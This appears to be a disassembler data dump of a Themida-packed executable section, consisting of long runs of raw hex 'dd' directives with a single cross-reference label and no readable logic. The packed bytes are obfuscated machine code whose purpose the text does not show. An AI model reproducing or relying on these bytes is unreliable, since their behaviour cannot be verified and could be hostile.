dd 1E986956h, 6A6F0B8Fh, 8063943Eh, 0EB9EF59Eh, 10h, 3 dup(0)
dd 0E8C08B00h, 0Bh, 0A1225448h, 0B10F3BCAh, 0F412E8Bh
dd 8B5EF3B7h, 0CDBD83D3h, 6071Ah, 0BD830975h, 6071135h
dd 50197400h, 0B8C08B53h, 42Dh, 1F7D8589h, 9D8D0607h, 609ADC0h
dd 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h, 42Dh, 1F7D8589h
dd 9D8D0607h, 609AAAFh, 585BD3FFh, 18CD958Bh, 0BE660607h
dd 830FBB6Ch, 6, 789952Bh, 0C08B0607h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 0FFC35040h, 7D4C7475h, 43DA8086h
dd 1A2D8D8Bh, 60510607h, 8BFE8B66h, 71A41BDh, 835A6106h
dd 840F00F9h, 68h, 13E8h, 4059A400h, 607AC70Dh, 0C0E80D13h
dd 0F6125D94h, 0D54C4C35h, 8B645AF5h, 2C3Dh, 63BA6600h
dd 0FFF0B3Bh, 3B84h, 0F78B6600h, 0B5893F8Bh, 6071069h
dd 31BAC032h, 0F31BD299h, 50006AAAh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 51973F73h
dd 85311D86h, 60710F9h, 50414935h, 11E853h, 0FA0B0000h
dd 1AD098DBh, 971FC718h, 81ECF231h, 0B48A038h, 72299B5h
dd 85C65E06h, 60709CDh, 6800F47h, 8B000000h, 713E995h
dd 4E806h, 882C0000h, 0BA50DCD6h, 4FF009C5h, 424448Bh
dd 0FC43BE66h, 6053008Bh, 4718B866h, 0FE9h, 0F73F1300h
dd 2ECCE5EAh, 95455BFCh, 22DCDBFEh, 44895E61h, 0F48A0424h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0A8D650ADh, 5964578Bh, 0B5FFF480h, 6070D99h
dd 858DF18Bh, 60A7038h, 0D497BE66h, 85958B51h, 5E060723h
dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 900E1DC3h, 8968DCE9h, 719AD95h, 0B1858906h
dd 6A06071Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 6C6FC353h, 0B2D18922h, 9CD85C6h
dd 0BA530607h, 3E576975h, 4E8h, 986AFC00h, 8C0F6088h, 0Fh
dd 0AE9h, 63C6E700h, 8B73C3FAh, 504FC930h, 0F616052h, 8E931h
dd 50890000h, 7ACA0672h, 585ABD95h, 0BE665061h, 448BED84h
dd 12E80424h, 2B000000h, 0E749DB91h, 9260734Ah, 52DE4ECAh
dd 16AB2681h, 8B5EEBh, 4244489h, 0D2BD04BEh, 0E9525869h
dd 14h, 0E7FC7A7Bh, 675A107h, 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h
dd 99B5FF5Eh, 5606070Dh, 1EF9B58Bh, 665E0607h, 858DF18Bh
dd 60A7038h, 0AC97CE81h, 0D0FF7707h, 1139B523h, 858D0607h
dd 60A34A8h, 77ED681h, 85891194h, 6070891h, 9395BA66h
dd 0FF6A206Ah, 89195FFh, 49350607h, 0C7535041h, 70A8585h
dd 106h, 9185C700h, 60718h, 0F000000h, 68Fh, 91B58B00h
dd 5606070Bh, 189D958Bh, 835E0607h, 73335BDh, 840F0006h
dd 6Fh, 42D28166h, 6820F09h, 89000000h, 714CD9Dh, 0E5858B06h
dd 0E8060712h, 6, 1F0848AAh, 8531DBEEh, 6071FEDh, 7BBE665Ah
dd 0A3643Ch, 8B000000h, 71F7995h, 0F1858B06h, 6A06071Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0E508C357h, 6C304822h, 5DB529EDh, 80060730h
dd 0E08B68E2h, 83F28B66h, 705C5BDh, 850F0006h, 40Eh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A8C35343h, 9950369Dh
dd 6810Fh, 0D6810000h, 7F8B5C12h, 0EE9h, 79505600h, 0E7AC3129h
dd 0E994EC37h, 0C6183988h, 709CD85h, 95895606h, 60709C1h
dd 31EFB768h, 8B665647h, 4815EF3h, 93412824h, 56006A62h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0A5C65157h, 7FD5ED48h, 99B5FF3Eh, 6A06070Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0EE98C357h, 68F4B03Eh, 1FE5B589h, 0D2800607h, 38858D51h
dd 89060A70h, 72D0DBDh, 6AD0FF06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C5D9C355h
dd 0D6D9D0EDh, 20DD952Bh, 89500607h, 958B2404h, 6072D79h
dd 1A018D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 68D51CC3h, 59B5E3A9h, 0B58B1257h
dd 6070AB9h, 0AEB06050h, 0EB22CBB8h, 0C896141h, 52006A24h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 47017783h, 0EE663530h, 0F08B9BFCh, 6A046Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 5EAE91C3h, 8D89EBFCh, 60701D9h, 3ADBB868h, 0AE9BBh
dd 7C420000h, 0E9F63EBCh, 0FD2A8D0Ah, 48240481h, 6644C534h
dd 29D10DBAh, 71F65BDh, 19B5FF06h, 66060723h, 61A7E281h
dd 0BD09D0FFh, 6070525h, 2319BD8Bh, 0B58B0607h, 6070099h
dd 663C7F03h, 812351BAh, 0F8C7h, 3890F00h, 80000000h, 47C75FF2h
dd 2024h, 598D3160h, 8306070Ah, 0E6ADEBDh, 840F0006h, 16Ah
dd 1C58529h, 0C7830607h, 0F9BD0928h, 0C706070Ah, 696A2E07h
dd 55006A64h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 56A2CADEh, 0C7D08BFBh, 74610447h, 0EE90061h
dd 63000000h, 0F4191B87h, 346E2C83h, 9976BCF4h, 0E6858BEBh
dd 66060E6Ah, 0E1F9D281h, 6A0C4789h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE5DC356h
dd 0FE9D3h, 9A780000h, 31B470EFh, 0D42C71h, 0A527F096h
dd 0A4E1BE9Fh, 958B2C69h, 607263Dh, 6AEA858Bh, 958B060Eh
dd 6071E81h, 6A084789h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 17A0C357h, 5C1CBBBh
dd 658328Bh, 0ECDB589h, 0DE90607h, 0EF000000h, 9F05DD2Eh
dd 92163012h, 0C2979A10h, 8128C783h, 0B8B28CCAh, 2E07C72Bh
dd 8B6E6F63h, 70E4D95h, 447C706h, 676966h, 3544DA81h, 9E94607h
dd 15000000h, 3B12C076h, 845F16F7h, 6AE2858Bh, 0BF0F060Eh
dd 0C4789F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 54C35141h, 0F7B1A3ECh, 8B0F6BBCh, 6, 988CE281h
dd 858B42C1h, 60E6ADEh, 8E9h, 35A7D900h, 0E389D4C3h, 84789D5h
dd 0E9585E56h, 9, 0FF93BCBFh, 849B6E3Dh, 6D958BA0h, 8D06070Ch
dd 70D098Dh, 0E9BD3106h, 50060704h, 14E8h, 6A31BF00h, 7A279F80h
dd 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 57BA6662h, 0C895ABDh
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 2A14D9EEh, 0EB08543Eh, 0D461E0BEh, 1B5FF01h
dd 0E806071Ah, 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h
dd 685E7BB6h, 0DF11F509h, 0F7240481h, 6620EE1Ah, 8E2ED681h
dd 2319B5FFh, 0B5310607h, 6070909h, 810FD0FFh, 6, 1DDDDA81h
dd 0B86908h, 0F000000h, 0C00BD1BFh, 5D840Fh, 8B660000h
dd 5761BAD6h, 0B5FF5DA8h, 6072FF5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 1C35242h, 5995FF6Fh, 6A060718h
dd 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C9B0C353h
dd 7F4525CFh, 0E9B58Bh, 0D3BE0607h, 8B7953C8h, 14E8C0h
dd 0C8CC0000h, 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh
dd 0B58B496Fh, 6070DA5h, 0CDBD835Ah, 6071Ah, 0BD830975h
dd 6071135h, 50197400h, 0B8C08B53h, 42Dh, 2F818589h, 9D8D0607h
dd 609AE27h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h
dd 42Dh, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 3FC35343h, 999531D3h
dd 906072Ch, 7009195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0CC9CDEB0h, 296F7DD7h
dd 710A5BDh, 0DE906h, 0DC300000h, 0DFE9A5E1h, 6CAAAD4Fh
dd 8BACAECFh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 219E946Bh, 0D7A1999Ch, 85890178h
dd 6072981h, 0CE9h, 30515900h, 0BC86BE5Fh, 1B800668h, 0EBC08BB0h
dd 1B5BED04h, 526E968h, 0D0010000h, 0CDF9A035h, 0C8F69D32h
dd 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh, 0B94EE71Ah, 0B348E512h
dd 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh, 5843957Eh, 3FB03341h
dd 5073A7BDh, 2CE5B19Bh, 0AC4B7BFCh, 0F2B72816h, 2F0249A3h
dd 2D60E78Eh, 3DDE77A6h, 2551FAA8h, 6F9FA08Ah, 7AAA31D8h
dd 81AD34DBh, 0F29203F1h, 0ADD49A3h, 6BFEC269h, 0A44373DDh
dd 9B36650Eh, 6A715BF4h, 57E013BCh, 51EA9124h, 93C5C6B0h
dd 92C46B00h, 0A4D158FFh, 0AEDB6209h, 0B3E1680Fh, 0BD067118h
dd 4A40B373h, 30D772A1h, 0C452AD97h, 0F78D285Ah, 0F584214Eh
dd 0EB842BC6h, 2353FA01h, 0F230A18Fh, 0A87B49A3h, 26946007h
dd 0E49A3F2h, 6B66BB5h, 0A3F2A718h, 1EB9EB49h, 80D9C396h
dd 19AEC055h, 5687h, 0FC2CEB00h, 8AF4E7Bh, 5B27CE6Fh, 49A3F1F0h
dd 301ECED4h, 49A3F2BFh, 0F29D0EFCh, 15E849A3h, 75D0BA8Dh
dd 0BFB025ABh, 12A19AEh, 8E000000h, 0BE65002Ch, 0C56C0B37h
dd 0CF760F3Eh, 0D57C1548h, 0E0871E4Eh, 2BEB3570h, 0D442CC5Fh
dd 0D1780DA8h, 4FEA18A1h, 2CA719AEh, 0EA4B7AF9h, 0FBF44754h
dd 0F1923362h, 0F897C34Ah, 59E7A051h, 0D94A38E8h, 2449A318h
dd 33666751h, 30630CA2h, 0FDA4AB95h, 0C933ACDh, 0FE9C43DEh
dd 731C0D1Bh, 6902A944h, 97BF267Fh, 860919AFh, 2D602A02h
dd 0EB54ED94h, 69F8E596h, 0C2B6A03Bh, 0A4h, 0A0F92C26h
dd 0EE4E500Eh, 12B95AC9h, 1BC25D8Bh, 79671757h, 49A33F08h
dd 3B968053h, 751043EDh, 0D98232E0h, 0C93A0EA9h, 649A33Fh
dd 0A33FA718h, 971FF249h, 0A6D9DAC4h, 0AEDD640Bh, 0B55CF725h
dd 36D47B1Ch, 0E203C553h, 1819AF70h, 7Ch, 2DBBD40h, 0D3049B3Bh
dd 0F92C1DE9h, 0B033C168h, 453F34D7h, 0A6A7917Fh, 2AC5F374h
dd 5543F389h, 49A30EE4h, 59725C2Fh, 0AF60AEE9h, 5947D906h
dd 49A30DE8h, 18BF6033h, 23C45F91h, 7E053839h, 60D1BF51h
dd 0AB49A30Dh, 0F79037D8h, 6A13C156h, 0E8B49E37h, 0CF65002Ch
dd 1D23BD4Ch, 6F4D641h, 49A3CA95h, 826C0DE0h, 0CA2F9D69h
dd 0BE1749A3h, 0E8676E70h, 17519AEh, 0D9000000h, 0BC63FE2Ch
dd 0CB720535h, 0D57C1544h, 0FA891C4Eh, 0C0842BCAh, 8A5BE32Dh
dd 2BDD3CC7h, 0A8F16405h, 0E782B09Eh, 9018952h, 0E50B8573h
dd 681847A2h, 20F493BFh, 439CB4AFh, 2C263A19h, 0BA42511Ah
dd 3003FDE7h, 28C3F19Ah, 0E5FEE881h, 48B9A757h, 93439CC0h
dd 0A5D5D6C0h, 0DECC7C12h, 439CC06Dh, 5EE681B1h, 0F39AA18Bh
dd 0B17D24C3h, 439CC046h, 6AD4629Dh, 5F069B3Ah, 6AF1982Fh
dd 5C059B3Ah, 93AC962Fh, 311F29E2h, 27D06601h, 0A6416FF8h
dd 1EC566FFh, 95949B85h, 1FB5F240h, 12E9Ah, 820AFE00h
dd 5806F48Ah, 1547A2FAh, 70E0396Ch, 0A263D882h, 0EA832ACBh
dd 9D330600h, 0B74E8F1Ah, 3620F1F6h, 0CF66961Dh, 0C35E9039h
dd 9299831Ch, 7E27BBEBh, 74E5B94Ch, 0BF439C87h, 1DA44BECh
dd 2B35AEDh, 1443EC9Ch, 6539D279h, 439C86F4h, 0E46C0538h
dd 42CC2711h, 7C11A4D4h, 0B62B587Dh, 36821Fh, 0AE60000h
dd 0BF98F83h, 49A3F2EAh, 4F1BC295h, 49A3F2DEh, 32E73102h
dd 1AC15C89h, 0ED749781h, 8BBA63F9h, 9F40D104h, 9EBFADB5h
dd 4949A3F2h, 9440E176h, 0B6000000h, 0B34E7C25h, 261EA6C9h
dd 0EE30A290h, 0BA7B47A2h, 0AF48EF8Eh, 29D9670Eh, 9CEECA3Bh
dd 0B3421543h, 0A63FE681h, 0EC8BBBBCh, 0EA7DAD56h, 0B9C0AA43h
dd 0AD43E212h, 523CD504h, 0EDB56D39h, 215C439Ch, 5EF92917h
dd 807800C9h, 1971FCEAh, 1AA4193h, 524C36D1h, 2151D87Fh
dd 2AD16C98h, 0DD7C6DC9h, 0FB02D66h, 1140C76Eh, 1B4AD178h
dd 5F4DDB82h, 3D8E4AEEh, 0B3EE6639h, 0ED36A965h, 534BD323h
dd 0B48A0DBDh, 39319422h, 2EB9FFE9h, 753B84ECh, 0A9B0DA2h
dd 44F48A82h, 29D06F9Bh, 0D560A690h, 1C479A1Dh, 0DD0AB349h
dd 16009940h, 0AF4676FDh, 0D84B9619h, 590415FBh, 91C1686Fh
dd 204FD808h, 0DC3DE485h, 7CBD701Dh, 6F05A6ABh, 95ED1081h
dd 0E7885B43h, 0CB307440h, 10A329A2h, 4DE81806h, 46E111B8h
dd 3A68119Fh, 755FF89Fh, 5AC4574h, 0FB64F7Eh, 1AC15C88h
dd 5CD866AFh, 0A896A0E9h, 2ABDEF78h, 0B449EA83h, 305CDD0Dh
dd 0CC4DF495h, 8, 97405E42h, 1AE6D067h, 0C36AFB2Ch, 0D2790C3Ch
dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h
dd 0AB14C7Ah, 11B85783h, 0FA36867h, 3C890000h, 7E9C6824h
dd 2C890000h, 24AD6824h, 14890000h, 742B6824h, 2C8B060Eh
dd 4C48324h, 24148B54h, 4C481h, 0CC680000h, 89000078h
dd 428F242Ch, 2434FF08h, 4C4835Ah, 5D2434FFh, 0E904C483h
dd 0FFF9043Fh, 4138D80Bh, 0F6804BABh, 0AE556D4Bh, 0E78FAB8h
dd 0FFC50306h, 0CB49CAE0h, 5545121Fh, 0F1624D18h, 0DAAAAA61h
dd 0BFB0C00h, 67ED301Eh, 9589407Ch, 25C33A69h, 0F25BFC4Ch
dd 0A88A272Ch, 6F7F315Ah, 0FA8D8D2Ah, 23060E79h, 7113185h
dd 0D98D8906h, 0F906071Ah, 101D85C7h, 5F0C0607h, 0BD8B0000h
dd 6070A1Dh, 330585C7h, 607h, 0DE810000h, 1162F146h, 1E25B5FFh
dd 60600607h, 13E9h, 8D54D900h, 0B4AAC5C4h, 0D6196E3h
dd 99C157DEh, 1A3EF8DCh, 245B58Bh, 8B610607h, 707398Dh
dd 95FF6106h, 6071859h, 38C8DE81h, 6A479Bh, 0D6995FFh
dd 0C08B0607h, 0C7FB6FEBh, 2209D788h, 11D220C4h, 0FE7278D2h
dd 38D0861Ah, 0E9786F89h, 0C55E6934h, 0D30C1BACh, 0CA9BE4E7h
dd 731876FDh, 68E8E54Eh, 106AA142h, 0C5E3B942h, 8A851Fh
dd 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h, 0D6A89B52h
dd 527BE7F0h, 0B2B21FFCh, 62D159C7h, 5BC68FA3h, 488642D7h
dd 57BE3E34h, 0B9631B21h, 94F7B62h, 1710C54Ah, 0FE8EBh
dd 0A3D20000h, 8FA095BFh, 0ED6E177Dh, 47E12E6Bh, 9D8D89D0h
dd 5E06070Fh, 0FE9h, 0C2240200h, 18DDD3h, 27ED122Ah, 4972E558h
dd 713CC681h, 0D08B0000h, 12E9DB33h, 36000000h, 0A9E23E10h
dd 7A5BCB45h, 831F93DCh, 397B64A9h, 3334FFD9h, 2F78156h
dd 5F730840h, 0D68B6659h, 3CE981h, 8D891EAAh, 6073119h
dd 8FE2C181h, 0C7811238h, 6A04A36Ch, 0B02FC181h, 0BD8B7282h
dd 60712FDh, 0D08B6651h, 801E048Fh, 95897BEAh, 6070E71h
dd 6604EB83h, 81925CBFh, 0FF8F64FBh, 0AA850FFFh, 80FFFFFFh
dd 8D8DA2F4h, 60E7BCEh, 5870Fh, 0F7BB0000h, 891BAAD7h
dd 71AD98Dh, 0CBB86606h, 1D85C76Ch, 40060710h, 0F000069h
dd 85C7D1B7h, 6073305h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BBC35646h
dd 18A99503h, 0B6B60607h, 859B5FFh, 6A0607h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C68B35C3h
dd 185995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 45FF2BC3h, 6E9C1h, 0FCF20000h, 2026B4BFh
dd 4959533h, 6A0607h, 0D6995FFh
db 7
byte_5B438D db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053E298o
dd 6C0069EBh, 626A8BDDh, 128FAF0Eh, 89E71EC0h, 1F4286ECh
dd 0F0A010B8h, 14257CC1h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h
dd 21C5254Fh, 6B14A879h, 0D9DAED97h, 57006D8h, 49FD6FF4h
dd 12E17381h, 946A4D52h, 204E74FFh, 0F8DB9A7Ch, 0B372F737h
dd 54E26B01h, 0CADD65DCh, 6FC5F36Fh, 8FDB9FC4h, 0EBF6E08Eh
dd 0EF24752Fh, 8B2E63DAh, 0C0h, 1CAh dup(0)
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 9265C356h, 90A1689Dh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 98C35141h, 41560839h
dd 6A9D35D9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0F88C355h, 180h, 0E960F900h, 0Ah
dd 6E654F07h, 72A61853h, 0BB662A8Ch, 616165A1h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E2C35141h, 21751A97h
dd 0F5DFD49h, 1C82h, 0B9666000h, 11E91C91h, 0A6000000h
dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh, 24440161h
dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 8D0FAFF9h, 10h, 0A870Fh, 5E90000h, 41000000h
dd 24E45293h, 5E958h, 0F4D50000h, 9D9CAE3Fh, 52006AC3h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
dd 7379DA8Dh, 9E860D9h, 0DE000000h, 2F158FC8h, 8706B9FFh
dd 0E959FB8Bh, 12h, 0EB740A46h, 0D19DE545h, 26BEFFFEh
dd 6153CD9Ah, 6A61C920h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 0F98BC353h, 58B4C08Bh
dd 0B7D08166h, 10B966F5h, 0B7E88115h, 0F53D32E2h, 52AAEB80h
dd 5EDA8B66h, 0AE9h, 0B0387100h, 4D7B182Eh, 0E9B83DF9h
dd 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 0D0F7802Bh, 0F88B6653h
dd 6660F85Fh, 0D181C78Bh, 391D7D39h, 52F8F961h, 8B1DE181h
dd 575F1F56h, 14E960h, 56BE0000h, 16EBCF6Fh, 0AB17D02Bh
dd 3384FCD1h, 48D3DF9Dh, 10E9B6DBh, 0DA000000h, 438285E7h
dd 0CA0D95CAh, 7629243Fh, 61C2C5ECh, 0FE959h, 0BBD70000h
dd 33B8D88Bh, 0EEF49E71h, 99239E2h, 41C28197h, 531F143Dh
dd 28C0Fh, 61600000h, 0DFBF0F59h, 0BE8F98Bh, 0F4000000h
dd 308F3DE6h, 2571688Dh, 81666BB7h, 584002C2h, 8E960F8h
dd 0D8000000h, 0FE31EB50h, 66B3BC5Fh, 7A62C981h, 0CF8B6661h
dd 5EE78166h, 11D181A8h, 603BEB3Ch, 92A2F4BFh, 653DBB13h
dd 66617468h, 5A16E381h, 80CAB70Fh, 81F812C7h, 1B41AECBh
dd 0DA816665h, 0F60A1D9h, 0AE9FBBFh, 5B000000h, 6E7EBC3Ch
dd 8FC45F56h, 32B061D1h, 0C2F18166h, 5566B90Bh, 8C0F263Fh
dd 4, 43BABE66h, 0C78B6657h, 57F5F95Eh, 5E8h, 653D9400h
dd 81660954h, 5A9632D3h, 820F5Ah, 0E9000000h, 0Ah, 61C90A0Dh
dd 0DC71413Eh, 8166CF50h, 0F97CC6D1h, 89C28166h, 0D2B70F66h
dd 8F4074BAh, 3EE08165h, 66312A2Bh, 0F31C6BEh, 14E8FBB7h
dd 0BA000000h, 1110EFh, 3EA8132Dh, 0BC5402CAh, 0FB707CD6h
dd 0F362C6Bh, 0D82h, 8E900h, 74900000h, 0CC330579h, 8159EEBCh
dd 6CB44AE7h, 18A0F11h, 0FC000000h, 13E8D08Ah, 0E9000000h
dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 0CE816371h
dd 0E953D59h, 0F5F525Bh, 0CA8AC8B7h, 66BECE80h, 0B539C681h
dd 0E8FE8B66h, 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h
dd 66FC59E1h, 0F863F0BEh, 0C5ADDA81h, 0BF0F4B03h, 0C7BF0FD6h
dd 3EBA6656h, 81665E92h, 0BB7F76CEh, 308881F5h, 0FF3BC681h
dd 0C6812618h, 6E5FC35Eh, 0DF91E6B8h, 0E3DA816Ah, 0E947AAC6h
dd 5, 0CF2EF1E1h, 0DE930h, 0E82F0000h, 0D7C69D2h, 0F86A3CBh
dd 0FD52852h, 0C85h, 6800F00h, 0F000000h, 84h, 22C78000h
dd 66D68B66h, 531683B8h, 8DF08166h, 8B665931h, 10E9CFh
dd 0A7CF0000h, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 816642FBh
dd 815519C8h, 44611EF2h, 0E981664Ch, 0EE98093h, 0F1000000h
dd 95AE9646h, 5DB84289h, 11F9A9EEh, 0AE960CFh, 0B4000000h
dd 0A88248D4h, 1894DDF7h, 0D98B6631h, 66566061h, 5AF757BAh
dd 8E9h, 0EDC16300h, 37113154h, 86B46166h, 7880BA66h, 9E960h
dd 953D0000h, 967AD5A6h, 613CCF6Ah, 5880F50h, 0B8000000h
dd 16215382h, 12E95Ah, 38310000h, 0F93E49F0h, 79289608h
dd 5AB87991h, 7FAD8297h, 0DE8h, 0A32C2600h, 59E76E71h
dd 6C64FC31h, 5E8A0C1h, 4C000000h, 4EEA6669h, 5BC88B66h
dd 8E8F55Eh, 0FA000000h, 0DF0735D3h, 811D021Dh, 384164C8h
dd 8E9587Ah, 30000000h, 0CFFE21h, 0F54957Bh, 789h, 8B666000h
dd 61B2B7F8h, 0BE92BB1h, 0E0000000h, 27E4738Eh, 7B549E9h
dd 8E0F4F5Fh, 9, 38A0Fh, 0BF0F0000h, 0DBB70FDBh, 0B3F5E780h
dd 0FAB96666h, 81F88BE5h, 0B3AE6FEFh, 0B92BB642h, 6803482Bh
dd 5CE98166h, 48D0FD4h, 66000000h, 66E8ADB8h, 45EDF681h
dd 14E960B4h, 8F000000h, 1C1BDCC2h, 0D440F28h, 0CF0C5783h
dd 0B3E738CEh, 0B58E67E4h, 0E8CA8BE2h, 0Fh, 0A3159B65h
dd 6B673768h, 0E4FD8098h, 60FD7C39h, 0E8DF8B66h, 12h, 6F7AB4Dh
dd 0CD8588A5h, 0D6586284h, 7016EEE0h, 61590F75h, 66CF8A5Ah
dd 0A1FDD981h, 38E0F60h, 0F000000h, 0F280C9B7h, 0F480610Ch
dd 3870F85h, 66000000h, 0E081C38Bh, 46F026F6h, 66CF8B66h
dd 14E9DA8Bh, 40000000h, 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh
dd 251F2509h, 0BFAFB655h, 15BCAA4h, 5E98B652h, 8E8F8h
dd 3C030000h, 8AC8F384h, 0BF0F1175h, 6E95EFEh, 96000000h
dd 1681A2B7h, 0F88B6671h, 9810Fh, 8D0F0000h, 3, 0E9F8BF0Fh
dd 0Eh, 0A5190ABDh, 994116D1h, 3B8FCE5Ch, 69B2BC52h, 6D28166h
dd 57C480FFh, 0BFF3EC80h, 3D76B0F2h, 860FB8B1h, 3, 8AF6BF0Fh
dd 0BE51F9D1h, 23E3404Dh, 0AE95Fh, 62080000h, 63AF52F4h
dd 67E99D6Dh, 0E35B866h, 8B28E280h, 0FE8B66D8h, 0DB814FB7h
dd 70C7450Ch, 5DDF8166h, 8E881h, 0DD450000h, 0BDFF13EAh
dd 0AE8D520h, 0F5000000h, 0BB5E2743h, 0BBE64A60h, 5F5850A8h
dd 0DE85Fh, 77B30000h, 62AA03B1h, 174EF5CEh, 51EB6209h
dd 0AE9h, 7B0BCB00h, 1045ECF6h, 5A663897h, 0CAB86658h
dd 0FF5F881h, 0E781C7BFh, 4C9DDF64h, 74C28166h, 12E996h
dd 0CCDC0000h, 23B35497h, 4349AFF8h, 7BF963DBh, 9598FBCh
dd 0C3BF0F60h, 66CA8B61h, 0D745DE81h, 10E806B6h, 7A000000h
dd 0A107E7FCh, 5D4B0675h, 4D43BB4Fh, 609879B1h, 840Fh
dd 0BF660000h, 5A614EDCh, 1EA81h, 0D5803DA5h, 0CBBF0FC4h
dd 0F9C78B66h, 0AF00FDBEh, 0E9A6B645h, 0Ah, 4CC9FFFFh
dd 0A36CDE00h, 8E98631h, 0A3000000h, 0A744D9FEh, 6685C9B6h
dd 18AECF81h, 0BE8h, 8DB49C00h, 0FDD8B6A4h, 383EA6CCh
dd 6820Fh, 880F0000h, 0
dd 8E95Eh, 88230000h, 42DD6DA3h, 830F9644h, 0Ah, 5E9h
dd 46780600h, 8B661EBFh, 88E0FC3h, 60000000h, 890Fh, 8A610000h
dd 99BE66E7h, 0D881F54Ah, 53FBB5A9h, 3890Fh, 8B660000h
dd 2880FF9h, 8A000000h, 0FC18BE1h, 840FCFBFh, 2, 6052FAB3h
dd 800Fh, 5E610000h, 13E8D1B5h, 9A000000h, 23972F5h, 20FED821h
dd 0C36B708Ch, 0CAD5F6F2h, 0D2813297h, 7220FFFDh, 60DE8A58h
dd 61C18B66h, 10E8h, 0D230AE00h, 0FB99A681h, 822A10C2h
dd 0C7AC91C2h, 2880F63h, 60000000h, 0CB8B5F61h, 0C68B66F8h
dd 81D1B70Fh, 0F1628F0h, 0B97DB420h, 4A13B7A8h, 8870Fh
dd 0F560000h, 83h, 0CA8B5900h, 81D18B66h, 2388B6D0h, 820F5773h
dd 2, 66585950h, 6A90CA81h, 471937BBh, 89C98170h, 0BA4E70B8h
dd 1618234Fh, 58B0Fh, 81660000h, 60171BD9h, 0AE8h, 0B1465200h
dd 0D5911DBCh, 0BF961D0Bh, 4AD72C9Ch, 61D88B59h, 0DE8h
dd 0FA1E5D00h, 0E4226970h, 8A783A34h, 23BE7785h, 5B2E439Eh
dd 0FABC280h, 11E8DFBFh, 38000000h, 0FBE44775h, 53B45A6Fh
dd 2417C33Eh, 0B93D0081h, 1573BA66h, 9E48058h, 495DC381h
dd 81666D08h, 8BDBAED6h, 12E9C1h, 725C0000h, 0D6F8C4BAh
dd 0E33DB2C0h, 0E0C76369h, 68B3ABA9h, 81E8B6F5h, 8990A2F6h
dd 0B0CF8075h, 800FD38Bh, 9, 3850Fh, 0ED800000h, 2EBEBB83h
dd 0F3816ED0h, 1A15D154h, 0D6B70F53h, 8B0FF85Ah, 7, 1830Fh
dd 8BF90000h, 0DBBF0FC2h, 7E9h, 60C2AB00h, 0B54B3E0Bh
dd 0DE9h, 0F0824000h, 1DD274F3h, 6F6A3657h, 0C68B1213h
dd 88C0Fh, 840F0000h, 2, 0D98B6160h, 66EB8166h, 38B0FF8h
